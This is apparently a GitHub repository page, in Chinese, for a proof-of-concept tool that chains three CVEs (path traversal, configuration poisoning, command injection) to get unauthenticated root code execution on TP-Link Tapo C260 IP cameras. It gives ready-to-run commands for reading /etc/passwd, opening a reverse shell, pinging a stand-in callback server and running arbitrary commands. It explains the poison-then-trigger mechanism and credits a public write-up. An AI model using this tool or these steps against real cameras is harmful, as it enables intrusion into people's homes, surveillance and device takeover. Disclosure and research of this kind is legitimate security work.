l0lsec/tapo-c260-rce

GitHub: l0lsec/tapo-c260-rce

针对 TP-Link Tapo C260 摄像头的三漏洞链 PoC,通过路径遍历、配置污染和命令注入实现从未认证到 root RCE。

Stars: 0 | Forks: 0

# Tapo C260 RCE 链 (CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653) 针对 TP-Link Tapo C260 IP 摄像头的概念验证漏洞利用链,通过组合 [Eugene Lim (Spaceraccoon)](https://spaceraccoon.dev) 发现的三个漏洞实现 **从未认证到 root 权限的 RCE**。 ## 致谢 **所有漏洞研究与发现均由 [Eugene Lim (@spaceraccoon)](https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/) 完成。** 本仓库是基于其公开文章实现的 PoC。如果你觉得这个工具有用,请购买他的书: [From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press)](https://nostarch.com/)。 ## 漏洞链 | CVE | 类型 | 影响 | |-----|------|--------| | CVE-2026-0651 | 路径遍历 / 本地文件泄露 | 通过 HTTP GET 处理程序中的 `/%2e%2e%2f` 读取任意文件 | | CVE-2026-0652 | 任意配置写入 | Guest 级别用户可通过 cloud API 中的 JSON 键 manipulation 写入任意配置路径 | | CVE-2026-0653 | 命令注入 / 权限提升 | `set_region_code_handle` 将未经处理的 `dev_name` 配置值传递给 `popen()` | ### 攻击链 ``` LFD (read device config) --> Config Write (poison dev_name) --> Trigger region code handler --> popen() --> shell ``` ## 环境要求 - Python 3.8+ - 摄像头的网络访问权限(用于 LFD)**或** 有效的 TP-Link cloud 认证 token(用于 RCE) - Guest 级别凭据足以完成整个漏洞利用链 ## 安装 ``` git clone https://github.com//tapo-c260-rce.git cd tapo-c260-rce pip install -r requirements.txt ``` ## 使用说明 ### 本地文件泄露 (CVE-2026-0651) 从本地网络上的摄像头读取任意文件: ``` python lfd.py --host 192.168.1.100 --token --file /etc/passwd ``` ### 完整 RCE 链 (CVE-2026-0651 + CVE-2026-0652 + CVE-2026-0653) ``` # Reverse shell python exploit.py \ --cloud-host aps1-app-server.iot.i.tplinkcloud.com \ --device-id \ --cloud-token \ --lhost \ --lport 4444 # 仅 Callback (curl ping) python exploit.py \ --cloud-host aps1-app-server.iot.i.tplinkcloud.com \ --device-id \ --cloud-token \ --callback http://your-server.com/pwned # Custom command python exploit.py \ --cloud-host aps1-app-server.iot.i.tplinkcloud.com \ --device-id \ --cloud-token \ --cmd "id > /tmp/pwned" ``` ## 原理说明 1. **投毒 (Poison)** — 发送一个 JSON 键经过 manipulated 的 `setLedStatus` 请求,将包含 shell 元字符的 payload 写入设备上的 `tp_manage/info/dev_name` 配置路径。 2. **触发 (Trigger)** — 发送一个 `set_region_code` 请求。该处理程序从配置中读取 `dev_name` 并在未经清理的情况下将其插入到 `popen()` 调用中,从而执行注入的命令。 3. **Shell** — 攻击者收到回调或反向 shell。 ## 受影响固件 - TP-Link Tapo C260(补丁前固件) - 可能包括共享相同 `/bin/main` omnibus 二进制文件的其他 Tapo 型号 ## 免责声明 本工具仅供**授权安全测试和教育目的**使用。未经授权访问计算机系统是非法的。作者不对滥用行为负责。在对非本人拥有的设备进行测试之前,请务必获得明确许可。 ## 参考资料 - [Original Writeup — Spaceraccoon](https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/) - [Kennedn's Tapo Protocol Research](https://github.com/kennedn) - [TP-Link Security Advisory](https://www.tp-link.com/us/support/faq/)
标签:CISA项目, CVE-2026-0651, CVE-2026-0652, CVE-2026-0653, Homebrew安装, IoT安全, IP摄像头, Maven, PE 加载器, PoC, Python, RCE, Tapo C260, TP-Link, Web报告查看器, 命令注入, 嵌入式安全, 提权, 攻击链, 无后门, 智能家居, 暴力破解, 本地文件读取, 漏洞验证, 编程工具, 网络安全, 网络安全审计, 路径遍历, 远程代码执行, 配置篡改, 隐私保护, 零日漏洞